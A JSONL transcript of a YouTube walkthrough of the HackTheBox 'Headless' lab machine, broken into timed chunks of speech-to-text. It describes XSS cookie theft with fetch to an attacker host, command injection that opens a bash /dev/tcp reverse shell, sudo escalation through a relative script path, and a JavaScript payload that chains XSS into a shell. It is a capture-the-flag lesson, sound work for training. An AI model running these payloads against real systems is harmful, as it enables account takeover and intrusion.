Add HackTheBox_-_Headless.jsonl
Browse files- HackTheBox_-_Headless.jsonl +38 -0
HackTheBox_-_Headless.jsonl
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"text": "what's going on YouTube this is iack doing headless from hack the box which is a relatively simple machine it starts out with a cross-site scripting attack in a contact form in order to trigger it though you have to use cross scripting in the message to trigger a hacking attempt message and then that page sends all the headers of the request over to an administrator review so you can just put a crossy scripting payload in one of your headers such as the user agent cookie or even make up your own header and steal the administrator's cookie now this website doesn't use HTTP only so you payload doesn't have to be that complex but at the end of the video we're going to make a bit more complex cross a scripting payload because we can actually steal the HTTP only cookie because it's being reflected back into the page now once you get access to the", "start": 0.16, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 2 |
+
{"text": "administrator account there's a basic command injection in the um generate report feature and then once you get a shell it's exploiting a bash script that you can execute with pseudo so with that being said let's jump in as always we're going to start off with an end map so- SCC for default scripts as V enumerate version VV double verose this gives us the TTL and things like that OA output all formats put the end map directory and call it headless and then the IP address of 10101 11.8 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and its Banner tells us it's a Debian server we also have nmap not detecting the service correctly here because it's just on a non-standard port or maybe it's standard nowadays it's port 5,000 and looking at the banner we", "start": 43.96, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 3 |
+
{"text": "can see this is easily an HTTP request because well we have the HTTP headers and then we have some HTML the server is work Zug which is going to be python so we know this is a python web server and it's setting the cookie that says is admin and then giving us two strings and this just looks like it is base 64 URL encoded so the first thing I want to do real quick is just take a look at these strings I'm going to do an echo on this and then let's just pipe it to base 64- D and we see that says user so is admin user so probably not I'm guessing it can be either user guest or admin things like that um it's odd that that's not in group when it says like is admin I kind of expect true or false but let's check out the second one so I'm going to do base 64- D here and we just get invalid input I normally like piping it to a", "start": 92.6, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 4 |
+
{"text": "tool called ENT to measure the entropy I just installed this through apt and if it's above three I generally think it's going to be some type of random data it's not true random it should really be like 6 to8 for True random but this doesn't look like text to me seeing an entropy of close to four so I'm going to guess this is some type of signature right so this way it prevents us from being able to tamper with what the cookie sets it sets a string here and then signs it um one thing I do want to check is does the uh time affect the signature at all so let's go make a request to 1010 11.8 Port 5000 and I probably should have sent this to burp Suite so let's click that send it make sure I'm on interet I'm going to refresh it and then I'm going to send it over to repeater and odly enough I guess every request on slash is setting this cookie because we", "start": 145.959, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 5 |
+
{"text": "see my cookie is set and it's setting it here um see if I remove this the cookie is not changing at all so we know time is not a factor of the cookie which generally is pretty bad because there's no session management if a cookie got compromised there's no way to revoke it like there's no log out functionality because it's just a static string so um that's how the cookie works we don't know what the cookie protects yet though because want is admin and then we get this page uh maybe the page is different if you are an admin but there could be other Pages here so I always like doing a gobster just to enumerate the web server so we'll do go Buster di word list op SEC list Discovery uh is it web next and then raft small words. text and then the URL and we'll say outfile of um root. gobster I guess there we go so while", "start": 208.519, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 6 |
+
{"text": "that runs let's go just take a look at the website it says welcome to the website for questions click here and I'm going to turn intercept off so we can click around uh first name we do IPC root ic.", "start": 267.4, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 7 |
+
{"text": "rocks then 55512 31234 and a message of um hello world let's just see what happens here it just goes away if we look at the HTTP history we do this post doesn't show too much so what I want to do is uh if I click back will it give me all my data it does sweet um let's just do like an image source is equal to http 10 10 148 8,000 uh Slash image and let's just see if the server makes a request over to us and we also have a dashboard page so we can say nvmp 8000 I guess I could have stood up a python we server but this also gives me all the headers and things like that so I do like that and soon as we do it we get a hacking attempt detected message and it displays our HTTP request back to us and nothing actually happened here so there's two things we can test for we can either go dig into this message and like because we control all these headers right so we can try", "start": 281.24, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 8 |
+
{"text": "putting um HTML here or we can play with dashboard I'm going to play with Dash dasboard really quick and then we're going go over to um the other one so let's just do a get on SL dashboard and we get unauthorized if I don't set the cookie we get unauthorized still um I'm going to not set the signature internal server error is that the same thing no so I'm just testing like what if we don't sign it and then we still get that um we could try like Echo dasn admin like this base 64 uh let's see URL encoding doesn't have any padding so we can just copy this string Bas that and this still doesn't work so we don't have any way to um exploit this cookie off of quick testing so let's go back over to request and I'll just actually use the back arrow so let's intercept this so I'm going to go to proxy intercept on going to send this", "start": 355.319, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 9 |
+
{"text": "and then we're going to do the standard thing of putting JavaScript in the user agent so well we'll just do HTML actually normally when I test for cross-site scripting I test um HTML characters first we'll just do the U for underline testing xss and I know this is just HTML injection but uh bear with me so I'm going to for this request and then we see the user agent does have testing xss underlined so it is not doing any filtering here we can just inject HTML most likely and if anyone is checking this report because it says it has been sent to the administrator for investigation um and this page the same as it is here we can control the um web browser of the admin so let's try this um first I'm just going to stand up a web server again actually let's just do LVN KP what the k is going to do is keep it open when a request comes so uh we can kill this go Buster we Cur Local Host", "start": 433.4, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 10 |
+
{"text": "8,000 and then I close that I can do it again right so all that K does is keep open um I like doing this just again because I get all the uh headers so let's go back to http history we sent this post we and send it over to repeater and instead of doing it in the user agent I'm going to do it in let's do it a cookie so we can say xss is equal to um let's say script Source HTTP 10148 port 8000p home.js yes let's try this okay I'm going to send the request and then we wait let's say uh we'll wait one minute to see if anything comes into a web server so what we did here is we put cross site scripting where this cookie is so if anyone views it hopefully um they come back to us and then the next step will be seeing if we can just extract the cookies off the web browser if we can't then I probably will", "start": 499.479, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 11 |
+
{"text": "use like javascript's fetch in order to fetch some pages on the server maybe fetch the dashboard and see what it shows also um actually on the end of the video we'll do this because we have a hacking attempt this message here if the cookie was set with HTTP only which means like we can't xfill it the way we're about to um we could make the web browser hit this page and then send this page back to us and since it's giving us the whole Header information we'll get the cookie that way this is another way like um I've done this a lot with PHP info Pages chaining cross8 scripting so you have cross8 scripting you can't EXO the cookie but the server also host a PHP info so you make the browser hit the PHP info page and then send that information back to you because it has a lot of good information like cookies and there we go we have a connection from", "start": 569.8, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 12 |
+
{"text": "101018 getting .js and um yeah the referral is Local Host so if we wanted to um do this method of stealing the cookie that way we have to keep in mind they're not going to 10 10 118 they're going to Local Host and that's important because if you go to 101018 it would have a different set of cookies because that's how web browser store cookies based upon the domain but that's a lot of talk for probably the end of this video let's just go ahead and steal the cookie here so what we're going to do is um actually we might just do over HTTP server let's make dubdub dub and then python 3- mhtp do server okay and now let's go back over to burp suite and in this xss cookie I'm going to take off the script Source we could leave it in just host. JS but we can also just do this all here I'm going to use a fetch command and fetch HTTP 10148 Port 8000 slash mark", "start": 622.0, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 13 |
+
{"text": "and let's do a plus document.cookie so I'm going to send this and I guess what we probably should have done is intercept it and sent it so we could steal our own cookie to make sure everything's working because there could be things that we don't um can't because we can see it here but the server could have things like content security policy and things like that that would block our cross a scripting attempt from working it doesn't so um I'm assuming this will work as long as we make a typo which I'm noticing I did this is why we should always be testing our script first right um this semicolon could also be a bad character that we have to URL encode maybe doing it in the cookies not a good idea because semicolons are used to separate cookies right so we don't know exactly how it's being displayed and again the reason why I'm doing it in", "start": 689.92, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 14 |
+
{"text": "cookie and not a user agent is because user agents are generally logged so cookies generally are not logged at least as well uh we could even make our own header if we wanted to because it's displaying the whole thing um I'm going to go click back real quick we probably have intercept mode on so we'll do proxy turn that off turn it on submit send oh I didn't even need to send it um I just want to copy this cookie line send this cookie because I want my browser to actually hit this um looks like I don't we got the um hit here right but this is what I would do if I was troubleshooting it because we have access to the page that the admin is hitting I would send this and then we get this um I see xss is hidden I bet if I viewed the source um I did control U there and that goes again to intercept mode um let's", "start": 739.72, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 15 |
+
{"text": "see IP has been logged why is Cookie not showing up I wonder if my I think when I did control U it's not actually sending all the post data but I would look at um this I can do it through this tab as well right this will show me the active page without doing view source so we go here we can see it did in indeed hit this um if I did not get a hit from my browser I would go over to the console and see if there's any JavaScript errors here because that's possible um so let's go now grab this I just want to make sure this is admin because I could have just stole my own cookie I've done that a hundred times before um Echo dasn okay yeah it is admin so let's set our cookie to this and then hit dashboard so I'm going to go here let's go to storage is admin set that and then we can send a request to dashboard intercept is off", "start": 805.16, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 16 |
+
{"text": "unauthorized maybe I didn't copy it ivv AMF so we definitely did not copy correctly there we go refresh and we get a page so this is the administr dashboard uh we can generate a report if I click this it just says system is up and running I'm going to change the date and we're not really getting that much let's just intercept this request and see what's happening so we have um just a page it says date if I send this to repeater it doesn't um do all that much what I'm going to do is just basic um test so if I put a bad character here let's see 2203 2203 so even an invalid date is um not changing the output of this page at all I'm going to do a semicolon let's S one just in case it's going to like an os. exec the page should now take a second to run if that is indeed the case it looks like it is we can do sleep to and it looks like we're just getting lucky right here finding this um command", "start": 872.759, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 17 |
+
{"text": "injection um but that's why you always test with like sleeps and things like that you could also ping yourself so I'm going to do a B- C b-i Dev TCP 101048 901 and I'm going to send this over to myself let's do nvmp 91 send it and I screwed up my shell I did not do the zero and one like that um is that how I do it eurl and code send I think I got those backwards wow uh direct I may just temp the whole reverse shell out again because when I screw up it's all muscle memory um but there we go so let's see python 3-c import PTY pt. spawn bin bash okay sd2 raw minus Echo foreground enter enter enter and we can export um term to X term so we can clear the screen awesome normally when I land on a web server the first thing I go for is some type of secret such as a database password however there's no real", "start": 949.72, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 18 |
+
{"text": "functionality here that would indicate a database is even being used and it's interesting that um I guess the web user has right access to this because that is from my failed reverse shell I believe the just one being there um but since there's no database being used we can confirm that also with like an SS to see if my SQL Port is listening it is not um we have gecko driver is listening which is interesting this is probably going to be part of Firefox and I want to say because we can see the PID um no I you can see the PID of everything let's see let's do PF GP on Firefox to see who is running it uh the dver user is running it so I'm not even going to worry about attacking being the gecko driver or Firefox itself because the user that's running it is us so let's go take a look if we have any pseudo rules we do it", "start": 1034.679, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 19 |
+
{"text": "looks like we can run Cy Che um I wonder if Cy Che is being used in the web app if that's like how the date is generated it doesn't look like it so let's just see what this file is um let's do a file against it first it is a bash script so let's do a cat um wonder if I can Vim it uh v no that does not look good I was hoping to get syntax highlighting I guess the easiest way to get syntax highlighting would be copy and paste to my box my terminal size is wrong so that was bit of a pain but let's do uh Vim CIS check. sh P um wrong paste there we go so now we have syntax highlighting so let's look through this um if the effective uid is not zero then we're going to exit so if we're not rot then exit um we're going to get the last modify time of VM lines and let's see okay format of time so we get the last time the kernel was", "start": 1088.76, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 20 |
+
{"text": "modified uh dis dis space you may think like uh this is user input because in bash like arguments this how I specify ARG one ARG 2 ARG three but it is in single qut so it is terminated and this this is also how you specify um the field and a so this isn't taking user input so we can't just um do the same thing we did with the dashboard and put a shell there so there's no user input there there's nothing really to attack and then if pgrip and nit DB database service is not running then start it so it looks like we have a way to just run commands so we can create this anit DB script and since there is no CD beforehand it's going to run AIT DB from whatever directory we are at um the first thing I'm curious about what is a nit DB is this even a thing on the box uh let's do a f sl- name uh let's see a nit", "start": 1154.159, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 21 |
+
{"text": "dbsh and then we'll hide error messages and we don't need to know like the script in order to exploit it we just said there wasn't a database and it looks like there's a database script so I wanted to um check that out nothing too interesting there I'm just going to go to uh Dev shm uh let's touch a nit DB I'm going to make it executable uh andit dbsh and then let's create a script so we'll just do bin bash and then we'll just say bash um so now if I just do was it pseudo user bin CIS check this should get us over to rout database service is not running starting it and it's not giving us the full shell I think that's just um The Bash profile that's on this box but we can see we can run commands I can do CD root and we can get root. text that way so that is going to be the Box however that's not the end of the video we", "start": 1220.039, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 22 |
+
{"text": "always like going a little bit beyond um and this whole cookie that we had let's see the whole cookie when we stole it um let's go back over into storage the HTTP only is set to false now in most applications it's going to be set to true and if that's the case then the whole like writing document.cookie isn't going to work because um that's just what that protection's there for right so we can still exploit it because uh the way it's ref all the data so if we go back to that hacking detected message where is it proxy let's turn it off back back back there we go because it's reflecting the entire HTTP header we can have a JavaScript request uh Force the browser to hit this page and then send this page over to us and then we'd get the cookie we could also have them hit dashboard and send the reverse shell so let's do that let's", "start": 1282.44, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 23 |
+
{"text": "just play with some cross- site scripting for a little bit because this video is a bit quick and I want to play with cross a scripting right so let's make a PJs and I'm going to start off by writing a async function of post data and we post the URL and the data we want right so this is going to be a wrapper around Fetch and I forget what video it is um let's see I bet I can remember if I see the name Bookworm um this is going to be a very similar PUD to Bookworm and the reason why I'm doing async uh functions is because I hate how a lot of other people do it with like a fetch then and then you do another then and then a then it's like no and then right so I just do with async function it's easier for me to read and understand the code that way so let's see we uh let's see async function post data fetch", "start": 1346.88, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 24 |
+
{"text": "JavaScript I need a refresher on exactly how this works because I don't have JavaScript memorized proper way to make this let's go to stack Overflow get device async okay this looks right so what I want to do is say a const response is equal to to fetch we'll fetch the URL and then we have to write pretty much the headers right we're going to say it's a method of post because this is the post data function we're going to say um we don't want any cross origin request the credentials include means we're going to use the existing cookies or user has um and we want to say ERS we're going to make the content type is going to be application X dubdub duub form URL encoded what we're doing is essentially taking this request or not this one we're building this request out right and that was the content", "start": 1411.799, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 25 |
+
{"text": "Ty I don't think we need any other headers um I always like disabling the cash and I think that's all we do oh we have to send the body of course uh body is going to be data and then we can exit this request and say constant result you should probably check it like you could probably do a like a try up here and then wrap errors and do it all properly that way but we're hackers we don't do this proper uh await response I could do blob or text we'll do text uh return result and that should be my post data function so now let's create another another async function called pwn and what we want to do is say const location is equal to window location host name what I'm doing is grabbing Local Host right and the whole thing remember uh let's see do we have it here still I don't think I have it but the referral was HTTP Local Host so we knew they were using Local Host to access the website", "start": 1492.08, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 26 |
+
{"text": "and not uh 10 10 118 I want to say um I'm just dynamically pulling it from the browser this way so this way I'm not depending on knowing how the other end of the request is accessing it other than the port I don't know if I can pull the port through JavaScript I'm sure if I asked chippity I could uh figure that out quickly but that looks fine for now um we have to now make the payload and we don't actually have to send the cross site scripting here um we just have to send this message so we trigger the hacking detected message but we don't actually have to like make them hit us right um because all we want to do is have them hit this page we don't need to put embedded JavaScript here for them to send us the cookie because we just want them to send us this information right so con payload that's fine I wonder if I need to rename location because that's just", "start": 1574.399, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 27 |
+
{"text": "highlighted um let's do constant page is equal to a wait post data and then we can say HTTP location slash support like that I do this in back tis I don't know why it just fixes The Bash highlighting I think if I did single quotes it would still uh put location as a variable not positive by that though so we can do that and I actually don't need to get the result of this because this is sending us the data right oh no we're getting page and now we just need to say post data so we don't need to actually um get the results of when we make a request to our web server we'll say post data HTTP 10 10 148 we'll just send it to 801 and we will send the page okay so what we're doing here is we're going to grab the window the window name so this going to be the domain we're going to build the payload so this is going to trigger the hacking detected message then we're going to have the", "start": 1636.2, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 28 |
+
{"text": "browser make a request to support so we trigger the hacking detected message and we assign that to page and then we send this back over to us so let's see if this works um python 3- mhtp server I probably have a web server up already I do which window is that in it's probably here this should be fine so let's test this out I'm going to click back uh that should be fine you can turn rep Suite is off that's awesome we sent that let's see a browser didn't do anything oh this one we actually have to we have to include the header because we have to Polar JavaScript of course so let's say script source is equal to http 10 1048 8000 PJs that should be fine for the request so this is our browser making the request over to support and then we didn't do anything with that uh let's see console response. text is not a", "start": 1717.919, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 29 |
+
{"text": "function response. text is it just that did I call it response also response I'm going to try that let's go back submit script source is equal to should have not got rid of my clipboard to send to repeater so we send the post and this is sending it so this is the post request where is it sending to 10 10 118 did it work that should have sent me the cookie I was not listening but I didn't see it in burp Suite so I'm not positive let's grab this cookie go back to proxy paste that send so making the request I'm going to intercept the response okay we sent it um not sure exactly we don't have any data here we screwed something up massively cuz I don't see anything oh what did we screw up let's see we get the page I don't know if we actually made a request over to SL support location 5,000 let's see proxy", "start": 1823.399, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 30 |
+
{"text": "settings content type let's edit this does not match so burp isn't showing us JavaScript um I like removing that rule when doing cross scripting things like this so now let's go through this um I have an error definitely somewhere okay we're going to forward this request we get PJs so browser gets that then we send a post over to support our browser doesn't have admin where is this admin this is admin so we can so we send a post to support this is going to get us the hacking detected message so let's say change intercept this response there we go hacking attempt detected and we have cookie here but what I noticed is my browser sent a request before that finished so I think we screwed up the awaits dubdub duub p.", "start": 1997.6, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 31 |
+
{"text": "JS we should have waited and I'm thinking we didn't await because we saw this request go off if we go back over into HTTP history um there's where we get the JavaScript we're pulling the hacking attempted page and then this is us sending it back to us it's confusing because 11.8 is the box and 14.8 is me but when we send the post we had no data which indicates that page is blank I really think response. text is a function it is or Json is Tech should behave the same way right that should be valid G try this again let's go back I probably should just be pasting this in the console window at this point be a little bit quicker there we go so we get p we're posting to support we intercept the response to this we got P again that's odd we get hacking attempt detected that is good so this is the response when we got um the", "start": 2089.399, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 32 |
+
{"text": "post and then it didn't send anything and that's because response. is not a function there's something subtle in this that's probably where response.", "start": 2182.76, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 33 |
+
{"text": "text is falling oh duh this has to be awaited there we go so without a wait it just means it's going to run this and continue the next line because it's an async function right so didn't put a wait here um response never finished getting declared so when we hit down here it wasn't the object from Fetch that has to be the problem oh that was that was silly so now we turn intercept on we send this let's go over to repeater can send the cookie like this get pone support pone there we go hosting to us and all the data so if I look at this netcat soon as I forward this request we can see my browser sent that admin cookie um we also see 10 10 118 hit us and that one should be the Box so by this logic now I can just hit this tab and we should see within a minute a new request come in from 10 1018 p. JS and then that Firefox will send us the um", "start": 2196.96, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 34 |
+
{"text": "data is that it is it's just formatted awfully at reboot it runs inspect reports I was seeing how often this runs uh every minute so hopefully we see a request soon let's see 10 10 148 JS yes there we go so there they go the Box hit us and um we can see whoops the HST is set to Local Host Port 5000 um and it sent us the cookie so that is a way we can get the data reflecting the cookie right and since we pretty much have everything done already why don't we just change this pone so let's go in dubdub dub CP pone to pone like that we could easily send um a request to dashboard so if we say payload let's do was it any date we want so 20247 14 and then semicolon b-i bash Das let's do this in backx B- C let me retype this as I saying muscle memory see no bash C b-i there we go so let's send this payload I wonder if I have to URL encode this or not I", "start": 2301.2, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 35 |
+
{"text": "don't know we can now say request this to dashboard and we don't need this post data so now this should just magically send us a shell from the cross state scripting which would be pretty cool I think right so let's do NCL lvmp 901 and we can test it from since we have the admin cookie uh we can just test it right away to see what happens so let's go back to repeater grab cookie paste grab this paste there we go forward we get paone po to dashboard I think we have to URL encode this I don't think we're going to get a shell we did not so let's yur en code so V tone.js and we'll do the lazy way of not using like any function to yourin code and instead just go grab it out of burp and then let burp do it and paste it in encoded there we go copy that let's send this payload that looks right uh forgot the semicolon there we go so this", "start": 2415.24, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 36 |
+
{"text": "time hopefully it all magically Works intercept on send this okay repeater grab the cookie paste sometimes I really hate clipboards there we go make sure we're listenting on 90001 we send now we're sending the post to dashboard and it did not get a shell that is bizarre let's see oh we don't have the parameter name um what was that do we not have any intercepted it does not look like it if you want to see what dashboard looks like you could also use the JavaScript to force the browser to send you the page of dashboard right um that's how you would do this and I think we did that in the um Bookworm video uh date is equal to so that's what we need to put here payload date equal there we go so now I think all the stars have aligned there's not many more ways we can screw this up so this one will", "start": 2519.76, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 37 |
+
{"text": "work and I know I probably just Jinx my Myself by saying that forward yep posting the dashboard and we did not get a shell oh why did I have to say that let's see bash C bash I Dev TCP 101048 901 why are you not working because I said data not date let's see dat so hopefully now is the time I can no longer screw up intercept on and this is also why you like testing against yourself before just waiting a minute for the bot to do it so we send this date we are listening okay it works so now we should be able to coer the bot into doing it um which should just work right it should be every minute we can just send another request for good measure um let's see that's this one we're getting pawn. JS do this and in one minute we should see the request come and there we go so just from the Java Script we can also get a uh shell so I hope you guys enjoyed that Beyond route take care and I will see", "start": 2634.68, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|
| 38 |
+
{"text": "you all next time", "start": 2740.68, "duration": 0.0, "meta": {"video_id": "FDCpJbS1OuQ", "title": "HackTheBox - Headless", "url": "https://www.youtube.com/watch?v=FDCpJbS1OuQ"}}
|